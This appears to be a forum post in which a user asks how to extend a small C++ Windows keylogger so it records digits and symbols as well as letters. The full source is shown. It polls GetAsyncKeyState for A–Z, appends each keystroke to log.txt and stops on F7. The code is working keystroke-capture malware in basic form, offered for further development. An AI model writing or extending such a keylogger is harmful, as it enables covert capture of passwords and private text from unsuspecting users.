can help me?

[skarla]

How can i create it to not show only letter but numbers and symbol too.?

#include<iostream>
#include "windows.h"
#include <fstream>

using namespace std;

int main()
{
    ofstream file;
    const int numkeys=26;
    const int i_slp=10;
    bool pressed_last[numkeys],pressed_now[numkeys],
    exit=0;

    for(int i=0;i<numkeys;i++)
    {
        pressed_last[i]=0;
        pressed_now[i]=0;
    }
    while(!exit)
    {
        for(int i='A';i<='Z';i++)
        {
            pressed_now[i-'A']=GetAsyncKeyState(i)!=0 ? 1:0;
        }
   for(int i=0;i<numkeys;i++)
   {
    if(pressed_now[i]&&!pressed_last[i])
    {
        file.open("log.txt",ios::app);
        file<<char(i+'A');
        file.close();
        cout<<char(i+'A');
    }
    }
for(int i=0;i<numkeys;i++)
{
    pressed_last[i]=pressed_now[i];
exit=GetAsyncKeyState(118)!=0 ? 1:0;
Sleep(i_slp);
}
    }



return 0;
}